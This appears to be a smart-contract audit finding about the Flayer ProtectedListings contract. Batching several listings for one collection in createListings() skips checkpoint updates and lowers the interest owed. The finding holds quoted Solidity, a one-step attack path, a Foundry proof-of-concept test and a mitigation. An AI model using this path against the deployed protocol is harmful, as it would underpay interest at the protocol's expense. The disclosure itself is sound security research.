Wonderful Rouge Hamster

High

# Creating multiple listings for the same collection causes the checkpoint's compoundFactor to be smaller than it should be

### Summary

In `ProtectedListings.createListings()` it will only create a checkpoint the first time it encounters a new collection. If multiple listings are created for the same collection it won't update the checkpoint causing the `compoundFactor` to be lower than it should be. A lower compound factor decreases the interest the user has to pay causing a loss of funds for the protocol.

### Root Cause

In [ProtectedListings.sol:136](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L136) it will only create a checkpoint for a collection if it's seen for the first time.

```sol
            if (checkpointIndex == 0) {
                checkpointIndex = _createCheckpoint(listing.collection);
                assembly { tstore(checkpointKey, checkpointIndex) }
            }
```

When a checkpoint is created, it calculates the `compoundedFactor` which is used for the interest calculation of all the listings of a collection:

```sol
    function _currentCheckpoint(address _collection) internal view returns (Checkpoint memory checkpoint_) {
        // Calculate the current interest rate based on utilization
        (, uint _utilizationRate) = utilizationRate(_collection);

        // Update the compounded factor with the new interest rate and time period
        Checkpoint memory previousCheckpoint = collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 1];

        // Save the new checkpoint
        checkpoint_ = Checkpoint({
            compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
                _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
                _utilizationRate: _utilizationRate,
                _timePeriod: block.timestamp - previousCheckpoint.timestamp
            }),
            timestamp: block.timestamp
        });
    }
    
        function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
        // Get the count of active listings of the specified listing type
        listingsOfType_ = listingCount[_collection];

        // If we have listings of this type then we need to calculate the percentage, otherwise
        // we will just return a zero percent value.
        if (listingsOfType_ != 0) {
            ICollectionToken collectionToken = locker.collectionToken(_collection);

            // If we have no totalSupply, then we have a zero percent utilization
            uint totalSupply = collectionToken.totalSupply();
            if (totalSupply != 0) {
                utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
            }
        }
    }
```

The number of listings as well as the collection token's total supply are part of the calculation. Meaning, any new listing that's created affects the utilization rate which in turn affects the `compoundedFactor` and thus should be reflected in a new checkpoint.

By creating multiple listings for the same collection within a single call to `createListings()` we can create listings that don't affect the checkpoint and thus break the interest calculation.

### Internal pre-conditions

none

### External pre-conditions

none

### Attack Path

1. Attacker creates multiple listings for a given collection in a single call to `createListings()`.

### Impact

The interest calculation will be off causing users to pay less than they should when they unlock their tokens.

### PoC

```diff
diff --git a/flayer/test/ProtectedListings.t.sol b/flayer/test/ProtectedListings.t.sol
index 5910d33..34df244 100644
--- a/flayer/test/ProtectedListings.t.sol
+++ b/flayer/test/ProtectedListings.t.sol
@@ -38,6 +38,88 @@ contract ProtectedListingsTest is Deployers, FlayerTest {
         _addLiquidityToPool(address(erc721a), 10 ether, int(0.00001 ether), false);
     }
 
+    function test_multiple_listings_breaks_checkpoints() public {
+        address user = vm.addr(4);
+        erc721a.mint(user, 10);
+        erc721a.mint(user, 11);
+        erc721a.mint(user, 12);
+
+        // First scenario:
+        // we create multiple listings for the same colelction within a single call
+        // to `createListings()`
+
+        vm.startPrank(user);
+        erc721a.setApprovalForAll(address(protectedListings), true);
+
+        IProtectedListings.ProtectedListing memory listing = IProtectedListings.ProtectedListing({
+            owner: payable(user),
+            tokenTaken: 0.4 ether,
+            checkpoint: 0
+        });
+
+        IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](3);
+        _listings[0] = IProtectedListings.CreateListing({
+            collection: address(erc721a),
+            tokenIds: _tokenIdToArray(10),
+            listing: listing
+        });
+        _listings[1] = IProtectedListings.CreateListing({
+            collection: address(erc721a),
+            tokenIds: _tokenIdToArray(11),
+            listing: listing
+        });
+        _listings[2] = IProtectedListings.CreateListing({
+            collection: address(erc721a),
+            tokenIds: _tokenIdToArray(12),
+            listing: listing
+        });
+
+        protectedListings.createListings(_listings);
+
+        IProtectedListings.Checkpoint[] memory checkpoints = protectedListings.getCheckpoints(address(erc721a));
+        IProtectedListings.Checkpoint memory checkpoint = checkpoints[0];
+        assertEq(checkpoint.timestamp, block.timestamp);
+        assertEq(checkpoint.compoundedFactor, 1000000000000000000);
+
+        vm.stopPrank();
+
+        // Second scenario:
+        // We create two listings in two independent transactions which means that
+        // two separate checkpoints are created.
+
+        address user2 = vm.addr(5);
+        erc721b.mint(user2, 10);
+        erc721b.mint(user2, 11);
+
+        vm.startPrank(user2);
+        erc721b.setApprovalForAll(address(protectedListings), true);
+
+        _listings = new IProtectedListings.CreateListing[](1);
+        _listings[0] = IProtectedListings.CreateListing({
+            collection: address(erc721b),
+            tokenIds: _tokenIdToArray(10),
+            listing: listing
+        });
+
+        protectedListings.createListings(_listings);
+
+        vm.warp(block.timestamp + 12);
+
+        _listings[0].tokenIds = _tokenIdToArray(11);
+        protectedListings.createListings(_listings);
+
+        IProtectedListings.Checkpoint[] memory checkpointsB = protectedListings.getCheckpoints(address(erc721b));
+
+        assertEq(checkpointsB.length, 2);
+
+        assertEq(checkpointsB[0].timestamp, block.timestamp - 12);
+        assertEq(checkpointsB[0].compoundedFactor, 1000000000000000000);
+        // compound factor changed because the previous listing affects the new checkpoint's
+        // compound factor calculation
+        assertEq(checkpointsB[1].timestamp, block.timestamp);
+        assertEq(checkpointsB[1].compoundedFactor, 1000000101978691012);
+    }
+
     function test_CanCreateProtectedListing(address payable _owner, uint _tokenId) public {
         // Ensure that we don't get a token ID conflict
         _assumeValidTokenId(_tokenId);
diff --git a/flayer/test/mocks/ProtectedListingsMock.sol b/flayer/test/mocks/ProtectedListingsMock.sol
index 902413c..ebbcfc0 100644
--- a/flayer/test/mocks/ProtectedListingsMock.sol
+++ b/flayer/test/mocks/ProtectedListingsMock.sol
@@ -23,4 +23,8 @@ contract ProtectedListingsMock is ProtectedListings {
         listingCount[_collection] = _amount;
     }
 
+    function getCheckpoints(address _collection) public view returns (Checkpoint[] memory) {
+        return collectionCheckpoints[_collection];
+    }
+
 }

```

In the PoC only a single checkpoint is created for the scenario where we create multiple listings within the same tx. The checkpoint has the same compounded factor as the one in the other scenario where we create only a single listing.

### Mitigation

checkpoint should be updated for each new listing.